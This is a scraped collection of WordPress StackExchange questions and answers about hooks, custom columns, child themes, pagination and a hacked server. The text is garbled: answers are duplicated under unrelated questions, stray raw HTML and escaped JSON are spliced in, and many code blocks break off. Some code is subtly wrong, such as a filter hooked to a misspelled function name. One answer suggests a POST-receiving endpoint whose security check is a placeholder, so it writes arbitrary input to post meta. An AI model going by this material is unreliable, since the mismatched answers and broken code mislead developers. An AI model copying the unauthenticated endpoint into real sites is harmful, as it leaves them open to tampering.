| How do I listen for and receive a third party HTTP POST in Wordpress so I can process the data in the post inside Wordpress?
Not looking for the answer with code but rather the method by which Wordpress would receive that HTTP POST. | Easy! You have a couple of options to do so.
The easiest one, but less safe, is to create a brand new PHP file in the root folder of WordPress. Let's say we will call it `get_post.php` and add WordPress functionality to it.
Like so:
```
<?php
require_once('wp-load.php'); // add wordpress functionality
$post = $_POST;
if ( $something ) // security check
update_post_meta( $post['post_id'], 'post_data', $post );
?>
```
The API link will be `yourdomain.com/get_posts.php`
Another option is to create a brand new page template inside of your template directory. And create a page using that template within your WordPress dashboard.
```
<?php
/* Template Name: Api Template */
if ( ! defined( ‘ABSPATH’ ) ) {
exit;
}
$post = $_POST;
update_post_meta( $post['post_id'], 'post_data', $post );
?>
```
The API link will be: `yourdomain.com/newly-created-page-permalink`. |
253,491 | <p>I am trying to create a custom loop to display my posts in different styling.</p>
<p>In my posts, I have mostly Youtube videos and some text around. In my posts loop I need to display only thumbnail of the featured image of the posts and the text, but I don't want to display any iframes with my Youtube videos.</p>

``` | Easy! You have a couple of options to do so.
The easiest one, but less safe, is to create a brand new PHP file in the root folder of WordPress. Let's say we will call it `get_post.php` and add WordPress functionality to it.
Like so:
```
<?php
require_once('wp-load.php'); // add wordpress functionality
$post = $_POST;
if ( $something ) // security check
update_post_meta( $post['post_id'], 'post_data', $post );
?>
```
The API link will be `yourdomain.com/get_posts.php`
Another option is to create a brand new page template inside of your template directory. And create a page using that template within your WordPress dashboard.
```
<?php
/* Template Name: Api Template */
if ( ! defined( ‘ABSPATH’ ) ) {
exit;
}
$post = $_POST;
update_post_meta( $post['post_id'], 'post_data', $post );
?>
```
The API link will be: `yourdomain.com/newly-created-page-permalink`. |
253,515 | <p>I'm trying to include a few custom fields I've created in my functions.php file so they're native to the theme I'm working on. However they're not showing up on the edit screens of the posts I've set them to.</p>

The easiest one, but less safe, is to create a brand new PHP file in the root folder of WordPress. Let's say we will call it `get_post.php` and add WordPress functionality to it.
Like so:
```
<?php
require_once('wp-load.php'); // add wordpress functionality
$post = $_POST;
if ( $something ) // security check
update_post_meta( $post['post_id'], 'post_data', $post );
?>
```

Another option is to create a brand new page template inside of your template directory. And create a page using that template within your WordPress dashboard.
```

/* Template Name: Api Template */
if ( ! defined( ‘ABSPATH’ ) ) {
exit;
}
$post = $_POST;
update_post_meta( $post['post_id'], 'post_data', $post );

| I use a very modern and fully-featured theme that has a lot of custom functions. Something like Avada, Enfold, etc.
There's this function called **medigroup\_mikado\_custom\_breadcrumbs** that's being called at **wp-content/themes/mytheme/framework/modules/title/title-functions.php** and I'm trying to filter it in functions, with this code:
```
function custom_debug_breadcrumb($breadcrumb) {
$breadcrumb = "test";
return $breadcrumb;
}
add_filter('medigroup_mikado_custom_breadcrumbs', 'custom_debug_breadcrumb', 10);
```
However, no matter what I put on that function, it doesn't seem to run at all.
My question is, can I filter a function called by a theme? Only for knowledge purposes, what if it was a plugin? Can I only filter core? | >

You can filter any function that has applied a filter on it's variables during the function definition.
For example, in the [**`get_bloginfo`**](https://developer.wordpress.org/reference/functions/get_bloginfo/) function, you would see a filter applied on it's output just before the output is returned:
```
$output = apply_filters( 'bloginfo', $output, $show );
```
The above apply\_filters call means you can modify the output by defining a filter such as:
```
function wpse253559_define_filter( $output, $show ) {
return 'altered';
}
add_filter( 'bloginfo', 'wpse253559_define_filter', 10, 2 );
```
This would alter the output of **`get_bloginfo`** to always return **"altered"** no matter what it's initial value is. You can read more on `add_filter` and `apply_filters`.

* `wp_attachment_is( 'image', $id )`

| I've done this previously but I've forgotten the name of the hook, and can't find it anywhere...
What I'm trying to do is add some custom columns in the listing of a custom post type in the admin.
For example, in the admin, click on *articles*, I want to add custom column there. | The hooks to create custom columns and their associated data for a custom post type are `manage_{$post_type}_posts_columns` and [`manage_{$post_type}_posts_custom_column`](https://codex.wordpress.org/Plugin_API/Action_Reference/manage_posts_custom_column) respectively, where `{$post_type}` is the name of the custom post type.
This example from the documentation removes the author column and adds a taxonomy and meta data column:
```
// Add the custom columns to the book post type:
add_filter( 'manage_book_posts_columns', 'set_custom_edit_book_columns' );
function set_custom_edit_book_columns($columns) {
unset( $columns['author'] );
$columns['book_author'] = __( 'Author', 'your_text_domain' );
$columns['publisher'] = __( 'Publisher', 'your_text_domain' );
return $columns;
}
// Add the data to the custom columns for the book post type:
add_action( 'manage_book_posts_custom_column' , 'custom_book_column', 10, 2 );
function custom_book_column( $column, $post_id ) {
switch ( $column ) {

When I used the inspect mode to see which CSS was overriding the child theme, I was able to confirm that it is definitely the parent theme. However, there are three CSS files operating at once and I have no idea how to rectify this.

The one that's leading the pack is #3. I'm not sure what I'm doing wrong here. | There's no need for more code in your functions.php file to enqueue the parent themes css from your child theme.

Simply remove that line and you should see the changes in your child theme.
Added:
Here are the two files I used with only the basics to properly enqueue the child theme css.
style.css file:
```
/*
* Theme Name: HashOne Child
* Template: hashone
* Text Domain: hashone-chile

253,663 | <p>I have a custom post type which needs to be in sync between two different websites housed in different servers. If either site edits, inserts, or deletes, the other database will also have to update its database for the change. The issue I see is, the ID's will be offset between the two databases.</p>
<p>So my rationale is, why can't I create a custom post type to be housed in a different database table and just sync that one table between the two installations?</p>
<p>The issue I see is I need to take into consideration the conflicts such as URL's. Page slug "hello-world" and custom post type slug "hello-world" when accessing the URL site.com/hello-world .</p>
<p>Anyone point me in a direction?</p>
<hr />
<p>Edit : Looking into it more and thinking about it. How about on save_post, check if it's THE custom post type, connecting to the other database, and doing a last insert ID, store it locally, and then update the external database with the internal ID of the post?</p>

| I have a custom post type which needs to be in sync between two different websites housed in different servers. If either site edits, inserts, or deletes, the other database will also have to update its database for the change. The issue I see is, the ID's will be offset between the two databases.
So my rationale is, why can't I create a custom post type to be housed in a different database table and just sync that one table between the two installations?
The issue I see is I need to take into consideration the conflicts such as URL's. Page slug "hello-world" and custom post type slug "hello-world" when accessing the URL site.com/hello-world .
Anyone point me in a direction?
---
Edit : Looking into it more and thinking about it. How about on save\_post, check if it's THE custom post type, connecting to the other database, and doing a last insert ID, store it locally, and then update the external database with the internal ID of the post?

With the release of WordPress 4.7.3, this bug has been fixed. The workaround `unset ($_SERVER['PATH_INFO']);` no longer needed. | Could this be about <https://core.trac.wordpress.org/ticket/39432>
Symptoms look very similar and at the time of writing hasn't been released as 4.7.3. Applying the patch manually fixed the issue on my nginx setup. |
253,735 | <p>My sites are so slow running on my local machine, with MAMP on Mac.</p>
<p>Any ideas of how to determine where the slow down is?</p>
<p>It's slower than making changes on my host!</p>

It's slower than making changes on my host!
Paul | Go to **wp-config.php**, find the line below:
```
define('DB_HOST', 'localhost:8889');

```
define('DB_HOST', '127.0.0.1:8889');

| What is the best way to use "Output Buffering" on the frontend? In my case, I need to apply some regex rules to the content generated by a theme with a page builder.
So it is not possible to edit the code with the filter `the_content`, because there everything is still available as shortcode. But I need to work with the code, which is generated when WordPress passes it through its hooks.
It looks as if it is easiest to buffer everything between `wp_head` and `wp_print_footer_scripts`:
```
public function __construct()

add_action( 'wp_print_footer_scripts', array( $this, 'end') );

So just write a filter function and hook it with a higher value for priority, so the content passes through it after shortcodes have been replaced.

253,896 | <p>My (managed) dedicated server, with several sites (not all of which use WP) has been hacked.</p>
<p>Obfuscated code has been appended to all files (including WP core/plugin/theme and non-WP stuff) for which the content begins with a php command (and not simply all files with a .php suffix).</p>
<p>It doesn't seem to affect the rendered page, and what little I know suggests it's a backdoor/trojan - which is about the limit of my knowledge.</p>
<p>Today, I find permissions changed to 200 - which I suspect might have been done by my service provider (although I've not received notification, nor yet an answer to my 'have you...?' question).</p>
<p>I'm curious about what the code does, although decoding it isn't worthwhile as it's clearly in some way 'bad stuff'.</p>
<p>I want to find the extent of the damage, the cause, and prevent a re-occurence.</p>
<p>It's fairly simple (though time consuming) to replace the obviously-changed files, and this I'll do.</p>
<p>My sql db backups seem to be 'clean' - but I don't know enough to be sure.</p>
<p>I'm perhaps wrongly assuming the cause to be WP-related, but don't know if it might instead have been through password-guessing or other.</p>
<p>Constructive suggestions appreciated. Please and thanks.</p>
<p>Update: having been asked about the extra code, it's added below. I didn't originally include it, because it didn't seem appropriate (not worth the effort of decoding, without which probably little to be gained).</p>

This is very important.</p>\n<p>Occasionally, there are new vulnerabilities found for CentOS, or Ubuntu you are running. And I was a witness of some great problems, just because the OS was not up to date with security updates.</p>\n<p>In Ubuntu you would do something like</p>\n<pre><code>sudo apt-get update\nsudo unattended-upgrade\n</code></pre>\n<p>somewhere in cron job, or</p>\n<pre><code>unattended-upgrade --dry-run --debug\n</code></pre>\n<p>To test the upgrade.</p>\n<p>If you like to make upgrades to work as a service, you may try</p>\n<pre><code>dpkg-reconfigure unattended-upgrades\n</code></pre>\n<p>You would generally need to do that if your hosting company is not doing this automatically.

This is very important to have set since all the security analytics mention this is a key feature. However, from there you will need to pay attention to files updated. It is important to keep the number of the folders low and to set not to be informed based on the extension of the files. Typically you don't need to track images.</p>\n<h3>Did anyone found your log files ?</h3>\n<p>Log files should be prohibited in general via .htaccess. If you are in Nginx, then in Nginx config file. There are certain backup plugins that use <code>wp-content</code> to store the log files. Some of these do have weak naming convention and scouts may get your logs, with the information about your web server.</p>\n<p>The extension of log files may not always be .log. It may be log.1 and like. Keep that in mind.</p>\n<hr />\n<h3>Can <code>WP SCAN</code> detect your passwords and users</h3>\n<p>Use <a href=\"https://blog.sucuri.net/2015/12/using-wpscan-finding-wordpress-vulnerabilities.html\" rel=\"nofollow noreferrer\">WP SCAN tool</a> and check if it can crack your passwords.</p>\n<p>You may consider .htaccess rule to prevent WordPress username enumeration if you don't have any side effects.</p>\n<pre><code>RewriteCond %{QUERY_STRING} author=d\nRewriteRule ^ /?

You will need to search the web for the good for the good port scanner.</p>\n<p>Also, your login form should have the login limit count, as well as your web server SSH and FTP channels.</p>\n<p>The another gate is xmlrpc-php. If you don't need that you may try to eliminate <a href=\"https://wordpress.stackexchange.com/questions/219643/best-way-to-eliminate-xmlrpc-php\">it</a>, because this would be the place where someone may try to log in.</p>\n<hr />\n<h3>Have you had a firewall .htaccess ?</h3>\n<p>The sixth generation of the firewall from the perishable press is not in constraint with your .htaccess file at all. <a href=\"https://perishablepress.com/6g/\" rel=\"nofollow noreferrer\">https://perishablepress.com/6g/</a></p>\n<p>It includes empty bots, and bad bots removal. As I checked it should work without interfering with the existing .htaccess rules.</p>\n<p>You should test this in low traffic time, or on the development server, and possible use all the tips from there.

You should probably export all the articles using standard WordPress export and create the new one.</p>\n<p>You should install new plugins and new theme. You may even start with the new clean VPS. On Linode this is just few clicks.</p>\n<p>You should start with the new WordPress installation for sure..</p>\n<p>Probably you may even change the hosting if you determine they are not reliable.</p>\n<p>The hosting provider may provide you some feedback from your web server Logs if this is the part of the service, so you can understand what was the problem better.</p>\n<p>Anyhow — step by step.</p>\n<hr />\n<p>Also, please check my <a href=\"https://wordpress.stackexchange.com/questions/242283/wordpress-website-security/242678#242678\">other answer</a> I provided to @Rahul, it may be good for prevention.</p>\n"

| My (managed) dedicated server, with several sites (not all of which use WP) has been hacked.
Obfuscated code has been appended to all files (including WP core/plugin/theme and non-WP stuff) for which the content begins with a php command (and not simply all files with a .php suffix).
It doesn't seem to affect the rendered page, and what little I know suggests it's a backdoor/trojan - which is about the limit of my knowledge.
Today, I find permissions changed to 200 - which I suspect might have been done by my service provider (although I've not received notification, nor yet an answer to my 'have you...?' question).
I'm curious about what the code does, although decoding it isn't worthwhile as it's clearly in some way 'bad stuff'.
I want to find the extent of the damage, the cause, and prevent a re-occurence.
It's fairly simple (though time consuming) to replace the obviously-changed files, and this I'll do.
My sql db backups seem to be 'clean' - but I don't know enough to be sure.
I'm perhaps wrongly assuming the cause to be WP-related, but don't know if it might instead have been through password-guessing or other.
Constructive suggestions appreciated. Please and thanks.
Update: having been asked about the extra code, it's added below. I didn't originally include it, because it didn't seem appropriate (not worth the effort of decoding, without which probably little to be gained).

In Linux there are two methods to change the file.php permissions.
```
-rwxrwxrwx file.php
```
* **Symbolic method**
* **Absolute Value method**
The symbolic method is for geeks such as **David MacKenzie** who wrote `chmod` tool, and we will only speak in absolute value method.
The permission of the following file:
```
-rwxrwxrwx file.php
```
is 777.
[](https://i.stack.imgur.com/Ft61e.jpg)
Apparently your files were 200 like this:
```
--w------- file.php
4 means Read,
2 means Write
1 means Execute
```
Looks like the hacker got your root access.

### Correct, I will focus only on prevention.
If your hosting provider doesn't provide the feedback this was their fault, then this may be your fault.
---
### Have you used the latest version of PHP?
Check out this URL and ensure that in 2016 — 207 security flaws were found in PHP.
<http://www.cvedetails.com/product/128/PHP-PHP.html?vendor_id=74>
PHP is getting there, but you need constantly to upgrade the version.
---
### Have you used software auto upgrades?
But not only PHP, you need to create automatic updates for the whole web server. This is very important.
Occasionally, there are new vulnerabilities found for CentOS, or Ubuntu you are running. And I was a witness of some great problems, just because the OS was not up to date with security updates.
In Ubuntu you would do something like
```
sudo apt-get update
sudo unattended-upgrade
```
somewhere in cron job, or
```
unattended-upgrade --dry-run --debug
```
To test the upgrade.
If you like to make upgrades to work as a service, you may try
```
dpkg-reconfigure unattended-upgrades
```
You would generally need to do that if your hosting company is not doing this automatically. Please check.
---
### Have you used file change detection ?
Part of the iThemes security plugin you already use is File change detection. This is very important to have set since all the security analytics mention this is a key feature. However, from there you will need to pay attention to files updated. It is important to keep the number of the folders low and to set not to be informed based on the extension of the files. Typically you don't need to track images.
### Did anyone found your log files ?
Log files should be prohibited in general via .htaccess. If you are in Nginx, then in Nginx config file. There are certain backup plugins that use `wp-content` to store the log files. Some of these do have weak naming convention and scouts may get your logs, with the information about your web server.
The extension of log files may not always be .log. It may be log.1 and like. Keep that in mind.
---
### Can `WP SCAN` detect your passwords and users
Use [WP SCAN tool](https://blog.sucuri.net/2015/12/using-wpscan-finding-wordpress-vulnerabilities.html) and check if it can crack your passwords.
You may consider .htaccess rule to prevent WordPress username enumeration if you don't have any side effects.
```
RewriteCond %{QUERY_STRING} author=d
RewriteRule ^ /? [L,R=301]
```
---
### Are your gates wide open?
You may consider closing your mysql port if this is open.
```
PORT STATE SERVICE
3306/tcp open mysql
```
Some services such as mysql should not have open ports, like in the example above. You will need to search the web for the good for the good port scanner.
Also, your login form should have the login limit count, as well as your web server SSH and FTP channels.
The another gate is xmlrpc-php. If you don't need that you may try to eliminate [it](https://wordpress.stackexchange.com/questions/219643/best-way-to-eliminate-xmlrpc-php), because this would be the place where someone may try to log in.
---
### Have you had a firewall .htaccess ?
The sixth generation of the firewall from the perishable press is not in constraint with your .htaccess file at all. <https://perishablepress.com/6g/>
It includes empty bots, and bad bots removal. As I checked it should work without interfering with the existing .htaccess rules.
You should test this in low traffic time, or on the development server, and possible use all the tips from there. Should be easy, just copy and paste.
---
### Have you used RIPS to test your plugins and themes?
This will allow you to scann plugins and themes from your `http(s)://domain.com/rips/index.php`
You can download it from [here](http://rips-scanner.sourceforge.net/) and extract it to the same level as WordPress:
[](https://i.stack.imgur.com/2h7aR.png)
Then check this out. Query Monitor plugin is perfect, but for the other one the tool found security problems.
I tested `nextgen-gallery` and `query-monitor` plugins. Look what I found.
[](https://i.stack.imgur.com/IX8j9.png)
[](https://i.stack.imgur.com/tHzWt.png)
There are sometimes false positives this tool may provide you, but in general, you will have the feedback.
---
So the final advice for you.
You don't know if your MySQL database is clean. You should probably export all the articles using standard WordPress export and create the new one.
You should install new plugins and new theme. You may even start with the new clean VPS. On Linode this is just few clicks.
You should start with the new WordPress installation for sure..
Probably you may even change the hosting if you determine they are not reliable.
The hosting provider may provide you some feedback from your web server Logs if this is the part of the service, so you can understand what was the problem better.
Anyhow — step by step.
---
Also, please check my [other answer](https://wordpress.stackexchange.com/questions/242283/wordpress-website-security/242678#242678) I provided to @Rahul, it may be good for prevention. |

| How to hide deactivation link from all WordPress plugin page.
[](https://i.stack.imgur.com/wlCed.png) | There is a filter called [`plugin_action_links`](https://developer.wordpress.org/reference/hooks/plugin_action_links/) that lets you do this.
```
function wpse253902_disable_plugin_deactivation ($actions, $plugin_file, $plugin_data, $context) {
if (array_key_exists ('deactivate', $actions)) unset( $actions['deactivate'] );
return $actions;
}
```
There is even a filter [`plugin_action_links_{plugin_name}`](https://developer.wordpress.org/reference/hooks/plugin_action_links_plugin_file/) that lets you control the links on individual plugins. If you dive into it, you will find out that you can also use this to define your own links. |

[](https://i.stack.imgur.com/xYWBU.png) | Since the question was about columns and not meta boxes and I needed this solution, Ioannis’ reply got me on the right track.
The filter hook in question is `default_hidden_columns`.
This is the solution I ended up with to set my `ad_shortcode` column to be hidden by default. You should know that this is just the default. As soon as the page was visited, the default is no longer be used. Look for a meta key that includes `columnshidden` in `wp_usermeta` and remove it when testing.
```
add_filter( 'default_hidden_columns', 'hide_ad_list_columns', 10, 2 );
function hide_ad_list_columns( $hidden, $screen ) {
// "edit-advanced_ads" needs to be adjusted to your own screen ID, this one is for my "advanced_ads" post type
if( isset( $screen->id ) && 'edit-advanced_ads' === $screen->id ){
$hidden[] = 'ad_shortcode';
}
return $hidden;

| This code works, and I want to understand why.
So I created the object from the `WP_Query` class, and used the `have_posts()` and `the_post()` functions in a while loop.
The question is: since the **`$post->ID`** is a data in an array based on the class `WP_Post`
would this than mean that the object instantiated from the `WP_Post` class is inside the object instantiated from the `WP_Query` class?
Can an object be inside one another? Or am I missing something?
```
$the_query = new WP_Query( $args );
if ( $the_query->have_posts() ) : ?>
<?php while ( $the_query->have_posts() ) : $the_query->the_post(); ?>
<?php echo '<p>' .$post->ID .'</p>';?>
<?php endwhile; ?>
<?php wp_reset_postdata(); ?>
<?php else : ?>
<p>No-data!</p>
<?php endif; ?>
``` | Yes, an object containing other objects is "natural". A `House` object contains an array of `Furniture` objects in its `$furnitures` property... Such as in our case... [`WP_Query`](https://codex.wordpress.org/Class_Reference/WP_Query) contains an array of [`WP_Post`](https://codex.wordpress.org/Class_Reference/WP_Post) objects in its `$posts` property... A [one-to-many relationship](https://en.wikipedia.org/wiki/One-to-many_(data_model)). This is an [Aggregation](https://en.wikipedia.org/wiki/Class_diagram#Aggregation).
[OOP](https://en.wikipedia.org/wiki/Object-oriented_programming) is all about programatically modelizing things. These things are:
* From the system context, **data** and **process**.
* From the real world context, **entity** and **logic**.
These 2 contexts are relationnal. The **data** is defined by its **entity** and the **process** is defined by its **logic**. These 2 contexts are then transmutable into a common programming pattern - OOP...
The `WP_Post` object is an **entity** holding and defined by - its **data**. It's what we call a [Domain Model Object](https://en.wikipedia.org/wiki/Domain_model). Though, since it doesn't include any [Domain Logic](https://en.wikipedia.org/wiki/Business_logic), design purists may call it an [Anemic Domain Model Object](https://en.wikipedia.org/wiki/Anemic_domain_model) instead.
The `WP_Query` object is a **process** (service). In fact, it is defined by the domain **logic** of our `WP_Post` object with for example:
```
$the_query->have_posts();
$the_query->the_post();
```
[The WP Loop](https://codex.wordpress.org/The_Loop) itself iterates through the `WP_Query::$posts` and is in charge of switching context (the **global** `$post` object).
From within The Loop:
* `WP_Query::the_post()` initializes the **global** `$post`. You then can access the `$post` data via, for example, `get_the_ID()` or `$post->ID`.
* `WP_Query::have_posts()` checks if there are other `WP_Query::$posts` to iterate through. |

| I am building a quotes website and i have 2 main categories like **Topic** & **Authors**

**Topic**

**Authors**
- Author1
- Author2
- Author3 | Yes, an object containing other objects is "natural". A `House` object contains an array of `Furniture` objects in its `$furnitures` property... Such as in our case... [`WP_Query`](https://codex.wordpress.org/Class_Reference/WP_Query) contains an array of [`WP_Post`](https://codex.wordpress.org/Class_Reference/WP_Post) objects in its `$posts` property... A [one-to-many relationship](https://en.wikipedia.org/wiki/One-to-many_(data_model)). This is an [Aggregation](https://en.wikipedia.org/wiki/Class_diagram#Aggregation).
[OOP](https://en.wikipedia.org/wiki/Object-oriented_programming) is all about programatically modelizing things. These things are:
* From the system context, **data** and **process**.
* From the real world context, **entity** and **logic**.
These 2 contexts are relationnal. The **data** is defined by its **entity** and the **process** is defined by its **logic**. These 2 contexts are then transmutable into a common programming pattern - OOP...
The `WP_Post` object is an **entity** holding and defined by - its **data**. It's what we call a [Domain Model Object](https://en.wikipedia.org/wiki/Domain_model). Though, since it doesn't include any [Domain Logic](https://en.wikipedia.org/wiki/Business_logic), design purists may call it an [Anemic Domain Model Object](https://en.wikipedia.org/wiki/Anemic_domain_model) instead.
The `WP_Query` object is a **process** (service). In fact, it is defined by the domain **logic** of our `WP_Post` object with for example:
```
$the_query->have_posts();
$the_query->the_post();
```
[The WP Loop](https://codex.wordpress.org/The_Loop) itself iterates through the `WP_Query::$posts` and is in charge of switching context (the **global** `$post` object).
From within The Loop:
* `WP_Query::the_post()` initializes the **global** `$post`. You then can access the `$post` data via, for example, `get_the_ID()` or `$post->ID`.
* `WP_Query::have_posts()` checks if there are other `WP_Query::$posts` to iterate through. |

Any ideas? | The theme is set up so that if a sidebar is inactive, default content will be shown (search form, monthly archives, and meta).
For example, the `sidebar.php` file:
```
<?php
/**
* The Sidebar containing the main widget areas.
*
* @package WordPress
* @subpackage Fruitful theme
* @since Fruitful theme 1.0
*/
?>
<div id="secondary" class="widget-area" role="complementary">
<?php do_action( 'before_sidebar' ); ?>
<?php if ( ! dynamic_sidebar( 'sidebar-1' ) ) : ?>
<aside id="search" class="widget widget_search">
<?php get_search_form(); ?>
</aside>
<aside id="archives" class="widget">
<h1 class="widget-title"><?php _e( 'Archives', 'fruitful' ); ?></h1>
<ul>
<?php wp_get_archives( array( 'type' => 'monthly' ) ); ?>
</ul>
</aside>
<aside id="meta" class="widget">
<h1 class="widget-title"><?php _e( 'Meta', 'fruitful' ); ?></h1>
<ul>
<?php wp_register(); ?>
<li><?php wp_loginout(); ?></li>
<?php wp_meta(); ?>
</ul>
</aside>
<?php endif; // end sidebar widget area ?>
</div><!-- #secondary .widget-area -->
```
You can override the theme's `sidebar.php` file by creating a [child theme](https://codex.wordpress.org/Child_Themes) and adding your own customized `sidebar.php` file to it. E.g.:
```
<?php
/**
* The Sidebar containing the main widget areas.
*
* @package WordPress
* @subpackage Fruitful child theme
* @since Fruitful child theme 1.0
*/
?>
<div id="secondary" class="widget-area" role="complementary">
<?php do_action( 'before_sidebar' ); ?>
<?php dynamic_sidebar( 'sidebar-1' ); ?>
</div><!-- #secondary .widget-area -->
```
The theme uses several sidebars (`sidebar.php`, `sidebar-blogright.php`, `sidebar-homepage.php`, `sidebar-page.php`, `sidebar-single-post.php` plus the store related sidebars, which are set up differently) so follow this procedure for each sidebar that you would like to modify using the appropriate sidebar name when calling `dynamic_sidebar()`. |
254,030 | <p>I have a managed server with several WP and non-WP sites, and code has been prepended to the content of all files (for all domains on the sever) which begin with a php command.</p>
<p>I'm wondering whether the cause was a vulnerability or password-guess in one WP install, or instead a guess of the ftp password or other reason.</p>

All post types should be inside the `wp_posts` table inside your database, if you haven't used the custom prefix.
This table has the following structure.
```
Column Type Comment
ID bigint(20) unsigned Auto Increment
post_author bigint(20) unsigned [0]
post_date datetime [0000-00-00 00:00:00]
post_date_gmt datetime [0000-00-00 00:00:00]
post_content longtext
post_title text
post_excerpt text
post_status varchar(20) [publish]
comment_status varchar(20) [open]
ping_status varchar(20) [open]
post_password varchar(255) []
post_name varchar(200) []
to_ping text
pinged text
post_modified datetime [0000-00-00 00:00:00]
post_modified_gmt datetime [0000-00-00 00:00:00]
post_content_filtered longtext
post_parent bigint(20) unsigned [0]
guid varchar(255) []
menu_order int(11) [0]
post_type varchar(20) [post]
post_mime_type varchar(100) []
comment_count bigint(20) [0]
```

If you need more info about the posts types you have on your system refer to the global variable `$wp_post_types`.
This variable is an array holding `WP_Post_Type Object`s, where the first one is like this:

254,043 | <p>Right now, I have a website that is using the Genesis theme. I'm trying to create a child theme, except I don't want to go through all the work of that. At the moment, I've downloaded a normal theme - gridz - and I want to make it a child theme. </p>
<p>What I've tried to do so far is add <strong>Template: genesis</strong> to the bottom of the style.css head as shown below.</p>
<pre><code> /*
Theme Name: Gridz
Theme URI: http://appswp.net/gridz-wordpress-theme/
Author: AppsWP
Author URI: http://www.appswp.net
Description: Pinterest like personal blogging theme powered by jQuery Masonry. Beautiful retina-ready and responsive theme with flexible layout. Tons of options to customize the theme according to your needs
Version: 1.0.5
License: GNU General Public License v2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html

Text Domain: gridz
Template: genesis
*/
</code></pre>
<p>When I install the theme, it registers as such. However, when I try to activate the theme, the whole website comes up with an <code>HTTP 500 error</code>.</p>
<p>I feel as though the issue comes in the functions.php, but I don't know where the issue comes in. Now, the functions.php file is over 800 lines long, but I'll show just a single function as it may provide some insight into what's causing this error. </p>
<pre><code> /**
* Filters Title for the Site
*/
function gridz_filter_wp_title($title) {
$site_name = get_bloginfo('name');
if(trim($title) != '') {
$title = str_replace('&raquo;','',$title);
$filtered_title = $title.' | '.$site_name;
} else
$filtered_title = $site_name;
if (is_front_page()) {
$site_description = get_bloginfo('description');
if(trim($site_description) != '')
$filtered_title .= ' | '.$site_description;
}
return $filtered_title;
}
</code></pre>
<p>As another note, there is some code at the top of every page as such:</p>
<pre><code>/**
* @package gridz
*/
</code></pre>
<p>I've tried taking out the code above, but the internal server error still occurs. At the moment, I have no idea as to what I should be doing next. </p>

What I've tried to do so far is add **Template: genesis** to the bottom of the style.css head as shown below.
```
/*
Theme Name: Gridz
Theme URI: http://appswp.net/gridz-wordpress-theme/
Author: AppsWP
Author URI: http://www.appswp.net
Description: Pinterest like personal blogging theme powered by jQuery Masonry. Beautiful retina-ready and responsive theme with flexible layout. Tons of options to customize the theme according to your needs
Version: 1.0.5
License: GNU General Public License v2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html
Tags: light, white, one-column, two-columns, right-sidebar, left-sidebar, fluid-layout, responsive-layout, custom-colors, custom-background, custom-header, custom-menu, editor-style, featured-images, post-formats, sticky-post, translation-ready, theme-options
Text Domain: gridz
Template: genesis
*/
```
When I install the theme, it registers as such. However, when I try to activate the theme, the whole website comes up with an `HTTP 500 error`.
I feel as though the issue comes in the functions.php, but I don't know where the issue comes in. Now, the functions.php file is over 800 lines long, but I'll show just a single function as it may provide some insight into what's causing this error.
```
/**
* Filters Title for the Site
*/
function gridz_filter_wp_title($title) {
$site_name = get_bloginfo('name');
if(trim($title) != '') {
$title = str_replace('»','',$title);
$filtered_title = $title.' | '.$site_name;
} else
$filtered_title = $site_name;
if (is_front_page()) {
$site_description = get_bloginfo('description');
if(trim($site_description) != '')
$filtered_title .= ' | '.$site_description;
}
return $filtered_title;
}
```
As another note, there is some code at the top of every page as such:
```
/**
* @package gridz
*/
```
I've tried taking out the code above, but the internal server error still occurs. At the moment, I have no idea as to what I should be doing next. | I don't understand your target.

Maybe someone else will have this issue and so i will share my solution here with you folks.
```
function make_mce_awesome( $init ) {
/*
There are easier things than make 'left/center/right align text' to use classes instead of inline styles
*/
// decode
$formats = preg_replace( '/(\w+)\s{0,1}:/', '"\1":', str_replace(array("\r\n", "\r", "\n", "\t"), "", $init['formats'] ));
$formats = json_decode( $formats, true );
// set correct values
$formats['alignleft'][0]['classes'] = 'text--left';
$formats['aligncenter'][0]['classes'] = 'text--center';
$formats['alignright'][0]['classes'] = 'text--right';
// remove inline styles
unset( $formats['alignleft'][0]['styles'] );
unset( $formats['aligncenter'][0]['styles'] );
unset( $formats['alignright'][0]['styles'] );
// encode and replace
$init['formats'] = json_encode( $formats );
return $init;
}
add_filter( 'tiny_mce_before_init', 'mkae_mce_awesome' );
```
First the settings have to be encoded to make them easy usable in PHP. Then we i add the class names (`text--XXX`) and remove the parts that cause the inline styling. At the end the array will be converted back.
**Bonus:** You can make the editor even more awesome by adding this line.
```
$init['block_formats'] = 'Paragraph=p;Heading 2=h2;Heading 3=h3;Heading 4=h4';
```
This will prevent users from using `<h1>` headlines - the SEO nightmare…
I hope this will be useful for somebody. Improvements are welcome!

| I'm trying to build my first custom theme by watching some tutorials and tips.
So I have the index, custom pages, and I tried to make the "archive" page and it redirects to my index. The file "archive.php" is there, and in the Reading Settings I requested that the "Blog" page (created in the Pages menu) receive the posts.
How to proceed?

**archive.php**
```
<?php get_header(); ?>
<section id="content">
Testing 123
</section>
<?php get_footer(); ?>
``` | If you're using a static page as your front page (as shown in your first image), then neither archive.php or home.php will work. The page hierarchy for static home pages is:
1. Page Template
2. page-{slug}.php
3. page-{id}.php
4. page.php
5. index.php
If you want to show an archive on your front page, select 'your latest posts', then home.php will work.
In either case, front-page.php will be the first in the hierarchy. |

```
.page-id-27820 #top-menu-nav {

#container {
width: 75%;
float: right;
}
```
If I change the width to %100 it affects the entire site, i just want the homepage to be at 100% width and all other pages with sidebar 75% | This is more a CSS than a WordPress question, but
There are several ways to do this, but I think this is the easiest. WordPress themes should use the home class on the body tag and the site content area has a class of site-content, so to set the primary content area to full width, use:
```
.home .site-content {
width: 100%;
}
```
You'll have to hide the sidebars too. If you want to hide all of them:
```
.sidebar {
display: none;
}
```
If you're using WordPress 4.7+, you can easily add CSS via the Customizer->Additional CSS. |

This is on a static page that is not the front page or the posts page. | Replace `<!-- WHAT GOES HERE?????? -->` with the pagination code below:
```
<div class="pagination">
<?php

'base' => str_replace( 999999999, '%#%', esc_url( get_pagenum_link( 999999999 ) ) ),

WordPress comes with a handy function called [`paginate_links()`](https://codex.wordpress.org/Function_Reference/paginate_links) which does the heavy lifting. In the example above, the custom WP\_Query object `$query` is used instead of the global `$wp_query` object.
**Edit:**
In response to comment from @mark-in-motion, here's an example of a wrapper function for `paginate_links()` that I made a while back. You can add this to your theme's `functions.php`, then call `echo my_pagination();` in your template to display pagination.
```
/**

*

*/
function my_pagination( $args = array() ) {
global $wp_query;
$output = '';
if ( $wp_query->max_num_pages <= 1 ) {
return;
}
$pagination_args = array(
